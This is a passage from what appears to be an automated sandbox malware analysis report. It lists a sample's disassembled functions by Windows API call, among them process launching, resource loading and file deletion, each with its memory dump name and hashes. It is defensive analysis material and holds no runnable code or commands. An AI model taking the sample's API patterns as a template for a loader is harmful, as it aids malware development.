Part of subcall function 00405492: CloseHandle.KERNEL32(?,?,?,?,?,00402E2C,00000000,00000000,00000000,0000000A,00000001,00000000,00000000,00000000,00000000,00000000), ref: 004054E0
Part of subcall function 00405492: RtlLeaveCriticalSection.NTDLL(004176A0), ref: 00405523

Memory Dump Source

Source File: 00000003.00000001.1257794553.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000001.1257794553.0000000000418000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_1_400000_drbdmeyP.jbxd

Similarity

API ID: Path$Value$QuoteSpaces$AllocateCriticalErrorHandleHeapLastSection$BackslashCloseCreateEnterEnvironmentLeaveModuleNameObjectRemoveShortSingleThreadVariableWaitwcslen
String ID:
API String ID: 1881381519-0
Opcode ID: d8c64dcd585f1b5e06573cdc086111ceee2949358ebd607d45979ef17bbfe3ff
Instruction ID: 95625e34f548e5502c8bb68b533fb61ff434c3c21d69ae2a44b2ba18bfe99ca0
Opcode Fuzzy Hash: d8c64dcd585f1b5e06573cdc086111ceee2949358ebd607d45979ef17bbfe3ff
Instruction Fuzzy Hash: 1822E9B5914700AED200BBF1DD8197F77BDEB98718F10D83FB540AA192CA3CD8465B69

Function 00402022 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

ShellExecuteExW.SHELL32(?), ref: 004020A7
GetExitCodeProcess.KERNEL32(?,?), ref: 004020C6

Strings

open, xrefs: 0040207E, 00402083, 0040208B

Memory Dump Source

Source File: 00000003.00000001.1257794553.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000001.1257794553.0000000000418000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_1_400000_drbdmeyP.jbxd

Similarity

API ID: CodeExecuteExitProcessShell
String ID: open
API String ID: 1016612177-2758837156
Opcode ID: 4da19c96667bed9e9bef70d0c438878542b475c9845e05a44f1d331ba8485070
Instruction ID: f63886f370766692049a8ab09fc70fe74b01992a8596c344147a8d3c31b217da
Opcode Fuzzy Hash: 4da19c96667bed9e9bef70d0c438878542b475c9845e05a44f1d331ba8485070
Instruction Fuzzy Hash: E9218971008309AFD700EF64C845A9FBBE9EF44308F10882EF198A6291DB79D905DB96

Function 00401B8F Relevance: 4.7, APIs: 3, Instructions: 233libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 0040DF60: TlsGetValue.KERNEL32(0000000E), ref: 0040DF77

Part of subcall function 0040DE20: GetLastError.KERNEL32 ref: 0040DE26
Part of subcall function 0040DE20: TlsGetValue.KERNEL32(0000000E), ref: 0040DE35
Part of subcall function 0040DE20: SetLastError.KERNEL32(?), ref: 0040DE4B

Part of subcall function 00409638: GetModuleFileNameW.KERNEL32(00000000,00000104,00000104,00000000,?,?,?,00401BC5,00000000,00000000,00000000,00000002,00000000,00000000,00000000,00000000), ref: 00409654
Part of subcall function 00409638: wcscmp.MSVCRT ref: 00409662
Part of subcall function 00409638: memmove.MSVCRT ref: 0040967A

Part of subcall function 00405182: TlsGetValue.KERNEL32(00000000,00402FDE,00000000,00000008,00000001,00000000,00000000,00000000,00000000,00000000,?,00000200,00000000,00000000,00000000,00000000), ref: 00405189

LoadLibraryExW.KERNEL32(00000000,00000000,00000000,00000002,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,0040118B,00000000,00000004), ref: 00401BCD
EnumResourceTypesW.KERNEL32(00000000,00000000,00000000), ref: 00401BEA
FreeLibrary.KERNEL32(?,00000000,00000000,00000000,00000002,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,0040118B,00000000), ref: 00401BF2

Part of subcall function 0040DFC0: wcslen.MSVCRT ref: 0040DFD7

Part of subcall function 0040DE60: TlsGetValue.KERNEL32(0000000E), ref: 0040DE6C
Part of subcall function 0040DE60: RtlAllocateHeap.NTDLL(?,00000000,?), ref: 0040DE99

Memory Dump Source

Source File: 00000003.00000001.1257794553.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000001.1257794553.0000000000418000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_1_400000_drbdmeyP.jbxd

Similarity

API ID: Value$ErrorLastLibrary$AllocateEnumFileFreeHeapLoadModuleNameResourceTypesmemmovewcscmpwcslen
String ID:
API String ID: 983379767-0
Opcode ID: f99985e6a0fadfcf50563e483824b6179ac324fb850170194da487b215f581e1
Instruction ID: 3462f3606e8cbb1e1a4d79c74de0940f317b4d1ea5cf6404f74aab9d4bf66b3f
Opcode Fuzzy Hash: f99985e6a0fadfcf50563e483824b6179ac324fb850170194da487b215f581e1
Instruction Fuzzy Hash: 4251F7B59047006AE6007BF2DD86E7F66AEDBD4718F10883FB5407D0D2CA3C8C5966AD

Function 0040AFC0 Relevance: 4.6, APIs: 3, Instructions: 102COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(?,?,?,00000001), ref: 0040AFF8
memcpy.MSVCRT ref: 0040B032

Memory Dump Source

Source File: 00000003.00000001.1257794553.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000001.1257794553.0000000000418000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_1_400000_drbdmeyP.jbxd

Similarity

API ID: FilePointermemcpy
String ID:
API String ID: 1104741977-0
Opcode ID: fafebd8826c96d2b2db8682312df0f91d37c55b82f074fe812bb41d959714341
Instruction ID: ace082a42c8b9570e8fa48c2980c6e4681abbcae92d9a1b023345ff456592002
Opcode Fuzzy Hash: fafebd8826c96d2b2db8682312df0f91d37c55b82f074fe812bb41d959714341
Instruction Fuzzy Hash: 4B313A392007009FC220DF29D844E5BB7E5EFD8714F04882EE59A97750D335E919CFA6

Function 0040DE60 Relevance: 4.6, APIs: 3, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(0000000E), ref: 0040DE6C
RtlAllocateHeap.NTDLL(?,00000000,?), ref: 0040DE99
RtlReAllocateHeap.NTDLL(?,00000000,?,?), ref: 0040DEBC

Memory Dump Source

Source File: 00000003.00000001.1257794553.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000001.1257794553.0000000000418000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_1_400000_drbdmeyP.jbxd

Similarity

API ID: AllocateHeap$Value
String ID:
API String ID: 2497967046-0
Opcode ID: 12a9e260dbc5041e106ecfc4060b29adff0858ebc3c8cdb12623e96d50297f69
Instruction ID: e6d91f3b09335801e5746b2964150cf116aaa33277573073d0b775b4e860d931
Opcode Fuzzy Hash: 12a9e260dbc5041e106ecfc4060b29adff0858ebc3c8cdb12623e96d50297f69
Instruction Fuzzy Hash: E511B974A00208EFCB04DF98D894EAABBB6FF88315F10C559E9099B354D735AA41CB94

Function 0040A665 Relevance: 4.5, APIs: 3, Instructions: 41COMMON

Download Yara Rule

APIs

wcsncpy.MSVCRT ref: 0040A683
wcslen.MSVCRT ref: 0040A695
CreateDirectoryW.KERNELBASE(?,00000000), ref: 0040A6D5

Memory Dump Source

Source File: 00000003.00000001.1257794553.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000001.1257794553.0000000000418000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_1_400000_drbdmeyP.jbxd

Similarity

API ID: CreateDirectorywcslenwcsncpy
String ID:
API String ID: 961886536-0
Opcode ID: 358e928ecd82f29180d8c39010668dd472303d741ba965430bb1c2cb3b350df1
Instruction ID: 630a5c6db6187271ae83db4eaeb36511880b8bdc4cdf20ec5a399f16e344c0a7
Opcode Fuzzy Hash: 358e928ecd82f29180d8c39010668dd472303d741ba965430bb1c2cb3b350df1
Instruction Fuzzy Hash: 0F01DBB08113189BCB24DB64CC8DABA7378DF00300F6446BBE455E21D1E77A9AA4DB4A

Function 00408D8E Relevance: 4.5, APIs: 2, Strings: 1, Instructions: 20COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00408D9B
CoInitialize.OLE32(00000000), ref: 00408DBD

Strings

,u, xrefs: 00408DB5

Memory Dump Source

Source File: 00000003.00000001.1257794553.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000001.1257794553.0000000000418000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_1_400000_drbdmeyP.jbxd

Similarity

API ID: Initializememset
String ID: ,u
API String ID: 640720207-1962302170
Opcode ID: 4c5f23a674a8f7b46c984437bbca4f970f706a3573d2b0b577e765091421c05e
Instruction ID: 781e80edae316a95334d3837f50a89f25f26191aceb080d9ad1fe250ea93eb12
Opcode Fuzzy Hash: 4c5f23a674a8f7b46c984437bbca4f970f706a3573d2b0b577e765091421c05e
Instruction Fuzzy Hash: 3AE0E6B594030CBBDB409FD0DC0EF9D7B7CE704705F404565F50496181EBB596048B95

Function 0040AD60 Relevance: 3.1, APIs: 2, Instructions: 65memoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0040D438: RtlEnterCriticalSection.NTDLL(00000020), ref: 0040D443
Part of subcall function 0040D438: RtlLeaveCriticalSection.NTDLL(00000020), ref: 0040D4BE

CreateFileW.KERNELBASE(?,80000000,00000000,00000000,00000003,00000080,00000000,?,00000000,?,?,?,004033A4,00000000,00000000,00000000), ref: 0040AD93
RtlAllocateHeap.NTDLL(00000000,00001000), ref: 0040ADB5

Memory Dump Source

Source File: 00000003.00000001.1257794553.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000001.1257794553.0000000000418000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_1_400000_drbdmeyP.jbxd

Similarity

API ID: CriticalSection$AllocateCreateEnterFileHeapLeave
String ID:
API String ID: 2608263337-0
Opcode ID: 90f7faf706f975316c83b07ac6ced370c6fd09a1887d2f170a25e0c4fd74ef8c
Instruction ID: cb55299900a1a52b407eca00395bc400cfc912b247b49f0a026709af4e8a3faf
Opcode Fuzzy Hash: 90f7faf706f975316c83b07ac6ced370c6fd09a1887d2f170a25e0c4fd74ef8c
Instruction Fuzzy Hash: 0411D031100300ABC2305F5AEC48F57BBAAEFC5761F11863EF5A5A26E0C77698558B69

Function 0040DB6A Relevance: 3.1, APIs: 2, Instructions: 61memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0040DCBD: HeapFree.KERNEL32(00000000,-00000018,00000200,00000000,0040DB7B,00000200,?,?,?,0040112D,0000000C,000186A1,00000007,0041607C,00417090,00000004), ref: 0040DCFE

RtlAllocateHeap.NTDLL(00000000,FFFFFFDD), ref: 0040DB9A
memset.MSVCRT ref: 0040DBD5

Memory Dump Source

Source File: 00000003.00000001.1257794553.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000001.1257794553.0000000000418000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_1_400000_drbdmeyP.jbxd

Similarity

API ID: Heap$AllocateFreememset
String ID:
API String ID: 2774703448-0
Opcode ID: dd641588fb5d4f2848f248cc7d9855a33aeab08ce04c044a64c52d6b87a3c813
Instruction ID: 4684dd51efb4be1c7f6cbbcd141334eab977ef2b41965c3d3424e441a95aa271
Opcode Fuzzy Hash: dd641588fb5d4f2848f248cc7d9855a33aeab08ce04c044a64c52d6b87a3c813
Instruction Fuzzy Hash: 8C117C729047149BC320DF49D840A4BBBE8FF98B50F05452EF989A7351D774EC04CBA5

Function 0040A970 Relevance: 3.0, APIs: 2, Instructions: 31memoryCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32(00000000,?,00000000,00000000,?,?,004033E8,00000000,00000000,00000800,00000000,00000000,00000000), ref: 0040A9B3
FindCloseChangeNotification.KERNELBASE(00000000,00000000,?,?,004033E8,00000000,00000000,00000800,00000000,00000000,00000000), ref: 0040A9BB

Memory Dump Source

Source File: 00000003.00000001.1257794553.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000001.1257794553.0000000000418000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_1_400000_drbdmeyP.jbxd

Similarity

API ID: ChangeCloseFindFreeHeapNotification
String ID:
API String ID: 1642550653-0
Opcode ID: 1101ea52ee8bc232e257b11b4dfa0e022e50a41f92f453deb7857e88e1fe02c5
Instruction ID: 4b594e9f44d889535f58429decad5894e80191ff52abe98a3990b8650259e3e7
Opcode Fuzzy Hash: 1101ea52ee8bc232e257b11b4dfa0e022e50a41f92f453deb7857e88e1fe02c5
Instruction Fuzzy Hash: 45F08272505700ABC7222B99FC05F8BBB72EB91764F12893AF610210F8C7355861DB5D

Function 00401FA9 Relevance: 3.0, APIs: 2, Instructions: 26COMMON

Download Yara Rule

APIs

Part of subcall function 0040DF60: TlsGetValue.KERNEL32(0000000E), ref: 0040DF77

RemoveDirectoryW.KERNEL32(00000000,-0000012C,004023BA,00000000,00000001,00000000,00000000,00000000,00000002,00000000,00000000,00416020,00000001,00000000,00000000,00000064), ref: 00402000
RemoveDirectoryW.KERNEL32(00000000,-0000012C,004023BA,00000000,00000001,00000000,00000000,00000000,00000002,00000000,00000000,00416020,00000001,00000000,00000000,00000064), ref: 0040200B

Part of subcall function 004053C7: WaitForSingleObject.KERNEL32(00000000,00000000,00000000,00401FC5,00000000,-0000012C,004023BA,00000000,00000001,00000000,00000000,00000000,00000002,00000000,00000000,00416020), ref: 004053D7

Part of subcall function 00405436: TerminateThread.KERNEL32(00000000,00000000,00000000,?,?,-0000012C,00401FD4,00000000,-0000012C,004023BA,00000000,00000001,00000000,00000000,00000000,00000002), ref: 00405446
Part of subcall function 00405436: RtlEnterCriticalSection.NTDLL(004176A0), ref: 00405452
Part of subcall function 00405436: RtlLeaveCriticalSection.NTDLL(004176A0), ref: 00405486

Memory Dump Source

Source File: 00000003.00000001.1257794553.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000001.1257794553.0000000000418000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_1_400000_drbdmeyP.jbxd

Similarity

API ID: CriticalDirectoryRemoveSection$EnterLeaveObjectSingleTerminateThreadValueWait
String ID:
API String ID: 1205394408-0
Opcode ID: a4995793a58d15065b79c121d9b25a2068aad365eb3bcf9e7b176d1495691666
Instruction ID: 98356af5a986153e62a16f1a7b9a52d9cbcc3c42f58cdbaee6b44a4a02fae465
Opcode Fuzzy Hash: a4995793a58d15065b79c121d9b25a2068aad365eb3bcf9e7b176d1495691666
Instruction Fuzzy Hash: D1F0C03155C701AADA257B32DC8299A3F76EB08348B51C43AF851714F2CB3E9C61AE1E

Function 0040DDD0 Relevance: 3.0, APIs: 2, Instructions: 12memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000), ref: 0040DDDC
TlsAlloc.KERNEL32 ref: 0040DDE7

Part of subcall function 0040E600: RtlAllocateHeap.NTDLL(?,00000000,0000000C), ref: 0040E60E
Part of subcall function 0040E600: RtlAllocateHeap.NTDLL(?,00000000,00000010), ref: 0040E622
Part of subcall function 0040E600: TlsSetValue.KERNEL32(0000000E,00000010,?,?,0040DDF7), ref: 0040E64B

Memory Dump Source

Source File: 00000003.00000001.1257794553.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000001.1257794553.0000000000418000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_1_400000_drbdmeyP.jbxd

Similarity

API ID: Heap$Allocate$AllocCreateValue
String ID:
API String ID: 3361498153-0
Opcode ID: 4e641117bd55311371697391a61bc67f1fb8624d6db014dbb9304ac05d49361e
Instruction ID: 18e5a0edc7d50c2b567692700943758183887443e0587578baab4a09ae3a6d99
Opcode Fuzzy Hash: 4e641117bd55311371697391a61bc67f1fb8624d6db014dbb9304ac05d49361e
Instruction Fuzzy Hash: C9D0127454430467D6002FB1BC0E7843B68B708B46F514C35F619962D1DBB5A000C51C

Function 0040A759 Relevance: 3.0, APIs: 2, Instructions: 12fileCOMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNEL32(00000002,00000080,0040A792,?,00000000,00401FDF,00000000,-0000012C,004023BA,00000000,00000001,00000000,00000000,00000000,00000002,00000000), ref: 0040A770
DeleteFileW.KERNELBASE(00000000,0040A792,?,00000000,00401FDF,00000000,-0000012C,004023BA,00000000,00000001,00000000,00000000,00000000,00000002,00000000,00000000), ref: 0040A77A

Memory Dump Source

Source File: 00000003.00000001.1257794553.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000001.1257794553.0000000000418000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_1_400000_drbdmeyP.jbxd

Similarity

API ID: File$AttributesDelete
String ID:
API String ID: 2910425767-0
Opcode ID: d20dcc2b1ea866854d894abaed1435a963998bb33ced13a9451e631658276eaf
Instruction ID: 32816558c3505e2600197b6aa1c8e1867431839d95d1f98e5f62e5383a3a81ae
Opcode Fuzzy Hash: d20dcc2b1ea866854d894abaed1435a963998bb33ced13a9451e631658276eaf
Instruction Fuzzy Hash: ECD06730148301A6D2555B20D90D79A7AB16B80786F15C829B485510F5C778C865E60B

Function 0040DE00 Relevance: 3.0, APIs: 2, Instructions: 10memoryCOMMON

Download Yara Rule

APIs

HeapDestroy.KERNELBASE(?), ref: 0040DE09
TlsFree.KERNELBASE(0000000E), ref: 0040DE16

Memory Dump Source

Source File: 00000003.00000001.1257794553.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000001.1257794553.0000000000418000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_1_400000_drbdmeyP.jbxd

Similarity

API ID: DestroyFreeHeap
String ID:
API String ID: 3293292866-0
Opcode ID: 3f3b1d22445732031eefca4f0308cde2def4a668abbc152b937948c22d9ea38e
Instruction ID: e62e0040ee13618bc64e974affb29b49c4e8111c40791418b11bddbb2c9937d4
Opcode Fuzzy Hash: 3f3b1d22445732031eefca4f0308cde2def4a668abbc152b937948c22d9ea38e
Instruction Fuzzy Hash: 6AC04C75154304AFCB049BA5FC48CA5377DF74C6117468428B61A83661CA35F400CB6C

Function 00402BFA Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

Part of subcall function 0040DF60: TlsGetValue.KERNEL32(0000000E), ref: 0040DF77

Part of subcall function 00409B40: RtlAllocateHeap.NTDLL(00000008,00000000,00402F00), ref: 00409B51

GetShortPathNameW.KERNEL32(?,?,00002710), ref: 00402C34

Part of subcall function 0040DE20: GetLastError.KERNEL32 ref: 0040DE26
Part of subcall function 0040DE20: TlsGetValue.KERNEL32(0000000E), ref: 0040DE35
Part of subcall function 0040DE20: SetLastError.KERNEL32(?), ref: 0040DE4B

Part of subcall function 0040DE60: TlsGetValue.KERNEL32(0000000E), ref: 0040DE6C
Part of subcall function 0040DE60: RtlAllocateHeap.NTDLL(?,00000000,?), ref: 0040DE99

Part of subcall function 00409B20: HeapFree.KERNEL32(00000000,00000000,00401B6B,00000000,00000000,00000000,00416020,00000000,00000000,00000000,00000000,00000000,00416020,00000000,00000000,00000000), ref: 00409B2C

Part of subcall function 0040DFC0: wcslen.MSVCRT ref: 0040DFD7

Part of subcall function 00405170: TlsGetValue.KERNEL32(?,?,00402FED,00000000,00000008,00000001,00000000,00000000,00000000,00000000,00000000,?,00000200,00000000,00000000,00000000), ref: 00405178

Part of subcall function 0040DEF0: HeapFree.KERNEL32(?,00000000,00000000,?,00000000,?,00411AC4,00000000,00000000,-00000008), ref: 0040DF08

Memory Dump Source

Source File: 00000003.00000001.1257794553.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000001.1257794553.0000000000418000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_1_400000_drbdmeyP.jbxd

Similarity

API ID: HeapValue$AllocateErrorFreeLast$NamePathShortwcslen
String ID:
API String ID: 192546213-0
Opcode ID: 49f9ea41b9916b6beaa403a6b7ca882e3139740148ba2b07ebcafa5c299e2020
Instruction ID: acf91f0b192621483340f6d99b68dad878881d8e8b7377b9fd1201c82249adf8
Opcode Fuzzy Hash: 49f9ea41b9916b6beaa403a6b7ca882e3139740148ba2b07ebcafa5c299e2020
Instruction Fuzzy Hash: E10140755086017AD5007BB1DD06D3F7669EFD0718F10C83FB444B90E2CA3C9C55AA5E

Function 0040A9E0 Relevance: 1.5, APIs: 1, Instructions: 25fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(00000000,?,?,00000000,00000000,00000000,?,0040A9A8,00000000,00000000,?,?,004033E8,00000000,00000000,00000800), ref: 0040AA07

Memory Dump Source

Source File: 00000003.00000001.1257794553.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000001.1257794553.0000000000418000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_1_400000_drbdmeyP.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 6b8f9e37b353b02e3b6cb8ff0ca601f404a0ed7efcad3d3714d276d4546e1b8c
Instruction ID: 14d3056ca1924aee99cb04667f0b380ac70d83ad29f9bf771d01894620e497e9
Opcode Fuzzy Hash: 6b8f9e37b353b02e3b6cb8ff0ca601f404a0ed7efcad3d3714d276d4546e1b8c
Instruction Fuzzy Hash: CBF09276105700AFD720DF58D948B87B7E8EB58721F10C82EE59AD2690C770E854DB55

Function 00402BC1 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

GetNativeSystemInfo.KERNEL32(00000000,?,00000000,00000000), ref: 00402BDD

Memory Dump Source

Source File: 00000003.00000001.1257794553.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000001.1257794553.0000000000418000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_1_400000_drbdmeyP.jbxd

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: 2444bb81d38c9911cb4f1a5182d85b53aad325570cca22d2bb76f9bc2955ed15
Instruction ID: 8a645f6298b96527a3a9e5c011dcec852996ed75ec820e929ccd6a5cacf3a2a4
Opcode Fuzzy Hash: 2444bb81d38c9911cb4f1a5182d85b53aad325570cca22d2bb76f9bc2955ed15
Instruction Fuzzy Hash: 5FD0126081824986D750BE75850979BB3ECE704304F60887AE085565C1F7FCE9D99657

Function 00409B40 Relevance: 1.5, APIs: 1, Instructions: 10memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,00000000,00402F00), ref: 00409B51

Memory Dump Source

Source File: 00000003.00000001.1257794553.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000001.1257794553.0000000000418000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_1_400000_drbdmeyP.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 42056730f6e44905a5b02c626e95f603851e4ed678fa30f00f02d4f5107f6242
Instruction ID: 0e995b311a0039e38a6c1dd281e12789fe5386c316f45d3f47623ba04496a456
Opcode Fuzzy Hash: 42056730f6e44905a5b02c626e95f603851e4ed678fa30f00f02d4f5107f6242
Instruction Fuzzy Hash: 7FC04C713542007AD6519B24AE49F5776A9BB70B42F01C8357655E21A5DB30EC10D728

Function 0040D264 Relevance: 1.5, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

TlsFree.KERNELBASE(004011D8,004011AA,00000000,00000000,00000004,00000000,0041606C,00000008,0000000C,000186A1,00000007,0041607C,00417090,00000004,00000000,0041606C), ref: 0040D281

Memory Dump Source

Source File: 00000003.00000001.1257794553.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000001.1257794553.0000000000418000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_1_400000_drbdmeyP.jbxd

Similarity

API ID: Free
String ID:
API String ID: 3978063606-0
Opcode ID: bb41ee82512545f6e7d13b4e06803ace2dd4b01e4fc7f0f7d78b6f5c3289525c
Instruction ID: 63d9cdb861c42e783f8d559f8bae438e046b2b0141e059cefbd137daa8fd129e
Opcode Fuzzy Hash: bb41ee82512545f6e7d13b4e06803ace2dd4b01e4fc7f0f7d78b6f5c3289525c
Instruction Fuzzy Hash: 2EC00270515500DADF268B49ED0C7D53A71A744315F4589B9D405111F4C3788848DE4C

Function 00409AE0 Relevance: 1.5, APIs: 1, Instructions: 6memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000,0040106C,00000000,00001000,00000000,00000000), ref: 00409AE9

Memory Dump Source

Source File: 00000003.00000001.1257794553.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000001.1257794553.0000000000418000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_1_400000_drbdmeyP.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: 32b04c5618a60dd8e1d20f587a5187d242f7e9eed40007270aac00d2dcc3d6b4
Instruction ID: 76b444b78102f1190b75b28dd56e974357e96cc3189ac6b4b6122ebffb005697
Opcode Fuzzy Hash: 32b04c5618a60dd8e1d20f587a5187d242f7e9eed40007270aac00d2dcc3d6b4
Instruction Fuzzy Hash: ACB0127038434056E2110B109C06B803520B304F83F104420F211581D4C7E02000C60C

Function 00409AD0 Relevance: 1.5, APIs: 1, Instructions: 3memoryCOMMON

Download Yara Rule

APIs

HeapDestroy.KERNELBASE(004011DD,004011AA,00000000,00000000,00000004,00000000,0041606C,00000008,0000000C,000186A1,00000007,0041607C,00417090,00000004,00000000,0041606C), ref: 00409AD6

Memory Dump Source

Source File: 00000003.00000001.1257794553.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000001.1257794553.0000000000418000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_1_400000_drbdmeyP.jbxd

Similarity

API ID: DestroyHeap
String ID:
API String ID: 2435110975-0
Opcode ID: 399ded8a1eb3f59c66d2f2ff06fdc53af96f34c45b587ce090dbf8798a82475b
Instruction ID: 92ce44880fa00836fd9ec8e9b77f21ccdd2dda276c3d59ffa7e3325814399483
Opcode Fuzzy Hash: 399ded8a1eb3f59c66d2f2ff06fdc53af96f34c45b587ce090dbf8798a82475b
Instruction Fuzzy Hash: B19002305140008FDE435B10ED489843B35F74134170288709022850B0C7255450DB1C

Non-executed Functions

Function 004026B8 Relevance: 4.5, APIs: 3, Instructions: 25COMMON

Download Yara Rule

APIs

Part of subcall function 0040DF60: TlsGetValue.KERNEL32(0000000E), ref: 0040DF77

LoadResource.KERNEL32(00000000,00000000,00000000,00000000,00402EE4,00000000,00000000,0000000A,00000000,00000000,00000000,00000000,00000000,00000000,0040439A,00000000), ref: 004026C9
SizeofResource.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00402EE4,00000000,00000000,0000000A,00000000,00000000,00000000,00000000,00000000,00000000), ref: 004026D9

Part of subcall function 00409B40: RtlAllocateHeap.NTDLL(00000008,00000000,00402F00), ref: 00409B51

Part of subcall function 00409C20: memcpy.MSVCRT ref: 00409C30

FreeResource.KERNEL32(?,?,?,00000000,00000000,00000000,00000000,00000000,00000000,00402EE4,00000000,00000000,0000000A,00000000,00000000,00000000), ref: 00402708

Memory Dump Source

Source File: 00000003.00000002.1420295868.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_drbdmeyP.jbxd

Similarity

API ID: Resource$AllocateFreeHeapLoadSizeofValuememcpy
String ID:
API String ID: 4216414443-0
Opcode ID: bd44d20d037d9532e60a93529e8716f693fb4c78f82d9fc58d9a64d43f7a450a
Instruction ID: aef506374d55060129c4874ad09f8e19456ab50fe59ad62301b1ec8aa9f30053
Opcode Fuzzy Hash: bd44d20d037d9532e60a93529e8716f693fb4c78f82d9fc58d9a64d43f7a450a
Instruction Fuzzy Hash: 3EF07471408301AFDB01AF61DD0186EBEB1FB98344F108C3EB584621B1D7369969AB9A

Function 004098D0 Relevance: 3.0, APIs: 2, Instructions: 19COMMON

Download Yara Rule

APIs

